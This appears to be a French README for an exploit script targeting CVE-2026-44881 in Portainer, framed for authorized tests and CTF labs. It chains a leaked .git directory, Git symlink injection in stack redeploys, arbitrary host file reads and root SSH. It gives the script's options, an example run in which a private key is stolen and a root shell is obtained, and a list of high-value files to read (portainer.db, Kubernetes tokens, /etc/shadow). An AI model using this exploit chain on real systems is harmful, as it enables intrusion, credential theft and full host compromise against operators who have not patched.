
Exploit à script unique pour CVE-2026-44881 qui enchaîne la fuite d'identifiants .git, l'injection Git-symlink de Portainer, la lecture arbitraire de fichiers hôte et l'accès SSH pour des tests autorisés.
Exploit en un seul script pour CVE-2026-44881, une injection de lien symbolique Git dans le flux de déploiement de stack de Portainer qui permet à tout utilisateur authentifié à faibles privilèges ayant des droits de création de stack de lire des fichiers arbitraires accessibles par le processus Portainer.
Avis de sécurité : GHSA-rpgq-m5fp-32wr Affecté : Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xCorrigé dans :2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
La vulnérabilité est une combinaison de deux primitives :
go-git v5 traduit les entrées d'arbre Git avec le mode 0o120000 (lien symbolique) en liens symboliques réels du système d'exploitation lors de git clone. Le seul nom bloqué est .gitmodules ; chaque autre chemin — y compris docker-compose.yml, que Portainer traite comme point d'entrée de la stack — peut être un lien symbolique avec une cible relative arbitraire.Service.GetFileContent (api/filesystem/filesystem.go) lit le fichier d'entrée de la stack avec os.ReadFile, qui suit de manière transparente les liens symboliques du système d'exploitation. JoinPaths empêche ../ dans la chaîne d'entrée mais n'appelle jamais filepath.EvalSymlinks, donc un lien symbolique déjà sur le disque se résout joyeusement vers sa cible.Portainer s'exécute généralement en tant que root dans son conteneur (nécessaire pour le socket Docker), donc la portée de la primitive de lecture est tout ce que le conteneur peut voir — typiquement /data/portainer.db (BoltDB avec le hash de mot de passe de chaque utilisateur + chaque jeton API), les jetons de compte de service Kubernetes à /var/run/secrets/kubernetes.io/serviceaccount/token, les secrets Docker Swarm à /run/secrets/, et — dans les déploiements qui montent en bind le système de fichiers hôte pour la surveillance — le /etc/shadow de l'hôte, /root/.ssh/*, etc.
Ce script enchaîne :
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
Détecte automatiquement l'IP de l'attaquant à partir de ip addr et suppose que .git est exposé à http://target/.git/. Remplacez tout ce qui ne correspond pas à votre environnement :
-t, --target target IP (required)
-a, --attacker attacker IP advertised to Portainer for the git daemon (auto-detected)
-l, --leak-path path of the exposed .git directory (default: /.git)
-p, --portainer-port Portainer HTTP port (default: 9000)
-g, --git-port local git daemon port (default: 9418)
-w, --workdir working directory for scratch files (default: mktemp)
-u, --user skip .git enumeration; use this Portainer username
-P, --pass skip .git enumeration; use this Portainer password
--no-creds-from-git skip the .git stage and require -u/-P
--no-ssh skip the final SSH-in step
-h, --help show this help and exit
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (avec git daemon), sshgit-dumper — pipx install git-dumper. Le script embarque un énumérateur HTTP basique minimal intégré qui gère le cas simple des objets lâches si git-dumper est absent, mais pour tout répertoire .git divulgué non trivial, l'outil complet est beaucoup plus fiable./:/mnt/host:ro et lit /mnt/host/root/.ssh/id_rsa. Pour cibler d'autres fichiers, modifiez la cible du lien symbolique à l'étape 5 (../../../mnt/host/root/.ssh/id_rsa). Les chroot-jails go-billy de Portainer emprisonnent les liens symboliques absolus vers l'arbre de travail, donc la cible doit être relative..git sont limités à Portainer — ils n'accordent pas d'accès SSH ni d'accès direct à l'hôte. Le lab est configuré de sorte que la seule façon d'obtenir une RCE au niveau hôte est via la CVE elle-même.{"message":"stack config file is invalid"} — c'est le validateur qui se plaint qu'une clé SSH n'est pas du YAML valide. Le clone a déjà écrasé l'arbre de travail au moment où le validateur s'exécute, ce qui est exactement ce dont nous avons besoin.MIT. Pour tests autorisés et utilisation en CTF / lab uniquement.